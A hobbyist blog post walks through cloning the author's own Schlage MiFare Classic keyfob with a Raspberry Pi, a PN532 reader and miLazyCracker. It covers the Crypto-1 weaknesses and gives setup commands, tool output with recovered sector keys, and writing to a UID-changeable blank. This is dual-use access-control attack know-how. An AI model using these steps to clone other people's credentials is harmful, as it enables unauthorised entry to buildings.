Duplicating a Schlage Smartlock Key with a Raspberry Pi.

Outline

Growing up I had the pleasure of watching all sorts of spy, heist, and hacking movies - the 007 films, Sneakers, The Italian Job, Hackers, Swordfish, the Ocean’s movies, the list goes on. A common occurrence in a lot of these movies is the need to copy a key or keycard to gain access to a location. This idea has always rattled around in the back of my mind, especially for the cool factor of pulling off the same sort of key duplication. Well, since I’m not a red-teamer and not one for gaining access to locations I’m not supposed to, I was left with only one real option to finally explore this idea: duplicate the keyfob to my residence. What follows is how I went out determine and successfully duplicating my keyfob with some off the shelf [budget] components.

Information Gathering

After looking at the brand of lock, a quick Google Image Search revealed it was a Schlage FE410. First the general specifications about the lock, next up I found some marketing material that covered some of the features. The biggest take away from these documents is that there are a few different types of credentials supported: Schlage MIFARE classic, Schlage MIFARE plus, Schlage Mobile Access Credential, Schlage DESFire EV1. Looking over the keyfob, it had some text printed on it: 9691T. A few more Google searches revealed that this is a multi-frequency keyfob that supports a High Frequency (13.56 MHz) and Low Frequency (125 kHz), which this data sheet happily gives the details to. Looks like I’ll be tackling a MiFare Classic 1k byte/8k bit; 16 sectors keyfob.

Next up is to figure out what exactly this MiFare Classic is all about. A quick Google search for MiFare Classic 1k datasheet, and with the first link we’ve struck gold: data sheet and this one. One of the most important pieces of information here is that it says the operating frequency is 13.56 MHz. Which means that any sort of scanner/duplicator needs to work with that.

Now for the exciting part: finding any literature out there that talks about exploiting the MiFare Classic cards. I found two pretty good presentations on this, the first being Hacking MiFare Classic cards which covers more of the history as well as and A 2018 practical guide to hacking NFC/RFID.

Hacking MiFare Classic cards provides a good background on the cards as well as a highlevel explanation of the exploit. A 2018 practical guide to hacking NFC/RFID covers what tools and hardware are available for actually preforming the exploit for duplication of cards.

Some of the highlights from the background:

• NXP Semiconductors went with security by obscurity for the cryptography protocol implemented
  • This was named CRYPTO1
  • This crypto protocol’s “security of this cipher is… close to zero.”
• In 2007m two German researchers (Nohl and Plötz) presented a partial reverse engineering of the protocol
• In 2008m Radboud University Nijmegen completely reversed the protocol and were going to publish the research
  • NXP attempted to block the research via legal means
• The courts denied NXPs request and the research was published.
• Once published this led to the development of an Open Source implementation
• Not long after public exploits/tools surfaced
  • Making the cards some what unusable from a security perspective
• Two means of attacks:
  • Man-in-the-Middle - where a sniffer sits between the card and the reader and then replaying the communication
  • Card-Only Attacks - where there’s only access to the keyfob at the time
    • This comes along with two different exploits [Hard]Nested Attack, and a Dark-Side Attack

After getting this far in the presentation, I had to admit I was a bit shocked that the locks used on my residence were using such weak security. Surely it wasn’t that easy or cheap to make a crack and duplicate the key fob.

This image shows how the data is stored in the Mifare Classic:

The memory area of the MiFare Classic 1k is organized in 16 numbered sectors from 0 to 15. Each sector contains 4 blocks (block 0 to 3). Block 3 of each sector is called sector trailer and contains information (called access bits - 4 bytes) to handle the sector access conditions and the secret keys (key A and key B - both 6 bytes). Depending on the setting of the access bits the Reader device has to perform an authentication with key A or key B to read or write the sector. It is also important to note that Block 0 of sector 0 is considered the Manufacturer Block (also called Manufacturer Data) which typically contains a hardcoded, un-changeable Unique Identifer (UID).

What’s interesting about the MiFare Classic is that each sector can potentially contain a different key to be able to access the data stored within it.

Time for a brief explanation of the hardnested attack. A much better and much more in-depth explanation can be found in this research paper. It’s important to note that key A and key B are each 6 bytes in length, and that the other 4 bytes are used for determining access. Which means that each key is 48 bits (2^48 is the key space). Which is then fed into the Crypto-1 cipher:

Given that the key space is only 2^48, it is theoretically possible to just brute-force all possible keys, but that will take some time. That said, online attacks iterating through every single possible key would take upwards of forty-four thousand years due to the fact that each attempt with a real reader takes six milliseconds. That said, once the Crypto1 algorithm became public, offline brute forcing becomes possible which eliminates any sort of delays.

The hardnested attack’s goal is to reduce the key space to something much more manageable, like 2^30 - allowing for brute-forcing to happening significantly faster. This is accomplished by exploiting the way the algorithm is implemented and can be boiled down to three steps:

1. Collect several thousands nonces via a nested attack/authentication
2. Use these nonces to probabilistically guess what the sum property may be and observing the filter flip roperty, which allows for a reduction in search space.
3. Carry out a brute force attack on the reduce search space.

So it sounds like there’s certainly a way forward and that it won’t take thousands of years to complete.

Duplicating the key

With the theory out of the way it’s time to look at duplicating these results for my self. Going back to a 2018 practical guide to hacking NFC/RFID. It looks like I need a few pieces, a write-able Keyfob and a PN532 based NFC Module. One of the things I wanted to do here was find a use for the Raspberry Pi laying around.

The reader I purchased from Amazon for about $10 looked like this one:

Additionally, since my goal was to entirely duplicate the keyfob I was concerned that not being able to change the UID would cause problems - if for example the lock was using a whitelist. Luckily (and a bit terrifying), this wouldn’t be much of a problem as there are cheap Keyfobs that support writing any value to block 0, i.e.: changing the UID to whatever I’d like. A search on Amazon for 13.56 UID changeable has quite a few hits. I picked up more than I’ll ever need in my life time for about $10.

Once everything arrived. It was time to start wiring up the NFC reader to Raspberry Pi. After digging around online I decided that the best method for me was to go with i2c as it used the fewest wires and I wasn’t overly concerned with speed in my controlled environment. To accomplish this I needed to hook up the following:

Additionally I needed to set the PN532 board into i2c mode. Which meant setting the dip switch SET0 and SET1 to high and low respectively.

Now that the wiring was complete, it was time to start up the Raspberry Pi test that the NFC reader is functional. To do that, we have to enable the i2c interface as it’s not enabled by default. The easiest way to do this is with raspi-config and enable it under Interface Options. However I was using a Raspberry Pi with Kali installed on it, so it needed to be enabled manually:

1. Add a line in /boot/config.txt for dtparam=i2c_arm=on
2. Create/modify /etc/modprobe.d/raspi-blacklist.conf
   1. If there’s a blacklist entry for i2c_*, remove them.
3. Run modprobe i2c-dev

Library installation time:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# Install pre-reqs
sudo apt-get install libusb-dev libpcsclite-dev i2c-tools
cd /tmp

# Download the library
wget http://dl.bintray.com/nfc-tools/sources/libnfc-1.7.1.tar.bz2
tar -xf libnfc-1.7.1.tar.bz2
cd libnfc-1.7.1

# Configure, compile, and install it
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install

And now configuration file for NFC:

1
2
3

cd /etc
sudo mkdir nfc
sudo nano /etc/nfc/libnfc.conf

The libnfc.conf file should be populated with the following content:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

# Allow device auto-detection (default: true)
# Note: if this auto-detection is disabled, user has to set manually a device
# configuration using file or environment variable
allow_autoscan = true

# Allow intrusive auto-detection (default: false)
# Warning: intrusive auto-detection can seriously disturb other devices
# This option is not recommended, user should prefer to add manually his device.
allow_intrusive_scan = false

# Set log level (default: error)
# Valid log levels are (in order of verbosity): 0 (none), 1 (error), 2 (info), 3 (debug)
# Note: if you compiled with --enable-debug option, the default log level is "debug"
log_level = 1

# Manually set default device (no default)
# To set a default device, you must set both name and connstring for your device
# Note: if autoscan is enabled, default device will be the first device available in device list.
device.name = "_PN532_I2c"
device.connstring = "pn532_i2c:/dev/i2c-1"

With everything up and running time to verify that the device is up and running with i2cdetect -y 1 and nfc-list. Assuming we see some goodness here:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

$ i2cdetect -y 1
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- --
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
20: -- -- -- -- 24 -- -- -- -- -- -- -- -- -- -- --
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
70: -- -- -- -- -- -- -- --

$ nfc-list
nfc-list uses libnfc 1.7.1
NFC device: pn532_i2c:/dev/i2c-1 opened

Now that everything is working (the 24 from the pevious command shows things are happy) it’s time for the much more exiting stuff. Determine what tools we’re going to use to actually attempt to duplicate the MiFare Classic. The Practical Guide mentions mfcuk (which preforms a dark-side attack) and mfoc (nested attack). Lastly, and ultimately what we want to use is the miLazyCracker, it automates quite a bit more of the tasks, including determining what the card type is, and then either running mfoc or the hardnested attack with libnfc_crypto1_crack.

After cloning the repo and looking at the miLazyCrackerFreshInstall.sh, it’s going to attempt to download craptev1-v1.1.tar.xz and crapto1-v3.3.tar.xz, these may fail, so they need to be changed to links that actually work. I’ll leave it to the reader to find copies of these and update the download links as necessary (I’d suggest starting with the pull requests or closed issues on the github repo page). Running the install script will also pull down mfoc and libnfc_crypto1_crack repos and build these.

Once everything is built it’s time to finally run, miLazyCracker.sh:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

$ ./miLazyCracker.sh
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04
* UID size: single
* bit frame anticollision supported
       UID (NFCID1): 6c  83  81  02
      SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: ffffffffffff] -> [x...............]
[Key: a0a1a2a3a4a5] -> [x...............]
[Key: d3f7d3f7d3f7] -> [x...............]
[Key: 000000000000] -> [x...............]
[Key: b0b1b2b3b4b5] -> [x...............]
[Key: 4d3a99c351dd] -> [x...............]
[Key: 1a982c7e459a] -> [x...............]
[Key: aabbccddeeff] -> [x...............]
[Key: 714c5c886e97] -> [x...............]
[Key: 587ee5f9350f] -> [x...............]
[Key: a0478cc39091] -> [x...............]
[Key: 533cb6c723f6] -> [x...............]
[Key: 8fd0a4f256e9] -> [x...............]

Sector 00 - Found   Key A: ffffffffffff Found   Key B: 1cbda6935465
Sector 01 - Unknown Key A               Unknown Key B
...other sectors omitted
Sector 15 - Unknown Key A               Unknown Key B

00  00  00  00
Block 47, type A, key 57858476ccf2 :00  00  00  00  00  00  ff  07  80  69  1a  bd  a6  93  54  65
...other blocks omitted
Block 00, type A, key ffffffffffff :6c  83  81  02  6c  08  04  00  62  63  64  65  66  67  68  69


Dump left in: mfc_6c838102_dump.mfd

Luckily it looks like the first block was using the default key, which makes the cracking process much easier. Had a default key not been used, it would have become quite a bit more challenging to get the key (and maybe impossible). In order to do so mfcuk would have to be used and attempt a Darkside attack.

Since that wasn’t hte case, letting it run for about 30 minutes or so, it was able to crack all of the keys and dump of the data blocks. With all the data dumped, I just needed to put the magic writable UID card on the scanner and have it copy the contents to it.

Thinking this was far too easy, and having serious doubts that it would actually work with the SmartLock, I tried it anyway. Much to my amusement (and a bit of shock), the clone keyfob worked with no issues, no alarms, no weird flashing lights. For all intents and purposes this key was as good as the original. So while it wasn’t quite like in the movies where it was cloned in a manner of seconds while the bad guy is looking the other way, it’s still pretty cool to know that in about 30 minutes I could successful clone a keyfob. More importantly, I could do all of this for about $20 (excluding the cost of a Raspberry Pi).

It is also worth noting that there are some purpose built devices out there to accomplish much of the same and more (like handling 125 kHz). These devices just carry a much higher cost and outside of the price range for this weekend project.

Some more sophisticated tools:

ChameleonMini

ProxMark3

Additional references

Sunfounder PN532 documentation